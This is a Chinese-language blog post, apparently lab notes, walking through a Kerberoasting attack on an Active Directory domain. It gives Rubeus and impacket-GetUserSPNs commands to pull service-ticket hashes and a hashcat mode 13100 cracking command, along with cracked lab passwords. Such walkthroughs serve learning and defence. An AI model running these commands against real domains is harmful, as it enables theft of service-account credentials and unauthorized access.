对 Active Directory 身份验证执行攻击3 Kerberoasting

回想一下 Kerberos 协议是如何工作的。我们知道,当用户想要访问由服务主体名称 (SPN)
托管的资源时,客户端会请求由域控制器生成的服务票证。然后,服务票证由应用程序服务器解
密和验证,因为它是通过 SPN 的密码哈希加密的。

 

当从域控制器请求服务票证时,不会执行任何检查来确认用户是否有权访问 SPN 托管的服务。
仅当连接到服务本身时,才会作为第二步执行这些检查。这意味着,如果我们知道要定位的 SPN,
我们可以向域控制器请求其服务票证。
服务票证使用 SPN 的密码哈希进行加密。如果我们能够请求票证并使用暴力或猜测对其进行解密,
我们就可以使用此信息来破解服务帐户的明文密码。这种技术称为 Kerberoasting。

 

为了执行 Kerberoasting,我们将再次使用 Rubeus。我们指定 kerberoast 命令来启动这种攻击
技术。此外,我们将提供 hashes.kerberoast 作为 /outfile 的参数,以存储生成的 TGS-REP
哈希值。由于我们将作为经过身份验证的域用户执行 Rubeus,因此该工具将识别与域用户链接的
所有 SPN。

 

.\Rubeus.exe kerberoast /outfile:hashes.kerberoast

2024-05-11_22-13

 

Kali本地爆破

先查看hashcat使用哪一项

hashcat --help | grep -i "Kerberos"

2024-05-11_22-16

 

进行爆破

hashcat -m 13100 hashes /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force

2024-05-11_22-18

密码是Strawberry1

 

让我们从 Linux 执行 Kerberoasting。我们可以使用 impacket-GetUserSPNs
并将域控制器的 IP 作为 -dc-ip 的参数。由于我们的 Kali 机器未加入域,因此我们还必须提供域用
户凭据才能获取 TGS-REP 哈希值。和以前一样,我们可以使用 -request 来获取 TGS 并以
Hashcat 兼容的格式输出它们。

impacket-GetUserSPNs -request -dc-ip 192.168.207.70 corp.com/pete

密码是Nexus123!

2024-05-11_22-28

我们成功获得了 TGS-REP 哈希值

hashcat -m 13100 hashes /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force

2024-05-11_22-30

爆破出来是Strawberry1

 

如果域包含具有弱密码的高权限服务帐户,则此技术非常强大,这在许多组织中并不罕见。但是,
如果 SPN 在计算机帐户、托管服务帐户或组管理服务帐户 的上下文中运行,密码将是随机
生成的、复杂且长度为 120 个字符,使得破解变得不可行。对于充当 KDC 服务帐户的 krbtgt
用户帐户也是如此。因此,我们对在用户帐户上下文中运行的 SPN 成功执行 Kerberoast 攻击的
机会要高得多。

 

 

 

 

© 版权声明
THE END
喜欢就支持一下吧
点赞15 分享
评论 抢沙发
头像
欢迎您留下宝贵的见解!
提交
头像

昵称

取消
昵称表情代码图片